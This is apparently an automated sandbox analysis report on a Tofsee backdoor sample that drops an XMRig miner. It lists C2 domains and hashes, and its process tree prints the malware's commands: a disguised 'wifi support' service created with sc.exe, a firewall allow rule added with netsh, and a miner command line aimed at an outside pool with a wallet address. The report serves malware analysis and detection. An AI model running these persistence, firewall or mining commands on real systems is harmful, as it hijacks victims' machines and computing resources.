Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/10/2022, 13:06

General

  • Target
    file.exe
  • Size 219KB
  • Sample221023-qb3afsaedj
  • SHA256 caf87b3879751fdd42103df8eb8d9c91ac3ec4f2b9342d13ce3126227a3cce40
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3368
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wqvmcecu\
      2⤵
        PID:1740
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\qftqjplo.exe" C:\Windows\SysWOW64\wqvmcecu\
        2⤵
          PID:3700
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wqvmcecu binPath= "C:\Windows\SysWOW64\wqvmcecu\qftqjplo.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:760
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wqvmcecu "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:228
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wqvmcecu
          2⤵
          • Launches sc.exe
          PID:3856
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2888
      • C:\Windows\SysWOW64\wqvmcecu\qftqjplo.exe
        C:\Windows\SysWOW64\wqvmcecu\qftqjplo.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4280
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4716
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3508

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            qftqjplo.exe

            • Path C:\Users\Admin\AppData\Local\Temp\qftqjplo.exe
            • Size 13.5MB
            • SHA256 3c3ec0444d4fae5a8192cf8082d659e2cad9de5a5bba0704674d54ebb1ab5e52
            • MD5 SHA1 SHA512 SSDEEP

            qftqjplo.exe

            • Path C:\Windows\SysWOW64\wqvmcecu\qftqjplo.exe
            • Size 13.5MB
            • SHA256 3c3ec0444d4fae5a8192cf8082d659e2cad9de5a5bba0704674d54ebb1ab5e52
            • MD5 SHA1 SHA512 SSDEEP

            memory/3368-132-0x0000000002CE3000-0x0000000002CF9000-memory.dmp

            memory/3368-134-0x0000000000400000-0x0000000002C24000-memory.dmp

            memory/3368-133-0x0000000002FA0000-0x0000000002FB3000-memory.dmp

            memory/3368-143-0x0000000002CE3000-0x0000000002CF9000-memory.dmp

            memory/3368-144-0x0000000000400000-0x0000000002C24000-memory.dmp

            memory/3508-172-0x0000000001280000-0x0000000001371000-memory.dmp

            memory/3508-177-0x0000000001280000-0x0000000001371000-memory.dmp

            memory/4280-147-0x0000000002ECE000-0x0000000002EE4000-memory.dmp

            memory/4280-151-0x0000000000400000-0x0000000002C24000-memory.dmp

            memory/4716-146-0x0000000000A30000-0x0000000000A45000-memory.dmp

            memory/4716-153-0x0000000002600000-0x000000000280F000-memory.dmp

            memory/4716-156-0x0000000001DB0000-0x0000000001DB6000-memory.dmp

            memory/4716-159-0x0000000001DC0000-0x0000000001DD0000-memory.dmp

            memory/4716-162-0x0000000001DD0000-0x0000000001DD5000-memory.dmp

            memory/4716-165-0x0000000007600000-0x0000000007A0B000-memory.dmp

            memory/4716-168-0x0000000001DE0000-0x0000000001DE7000-memory.dmp

            memory/4716-152-0x0000000000A30000-0x0000000000A45000-memory.dmp

            memory/4716-150-0x0000000000A30000-0x0000000000A45000-memory.dmp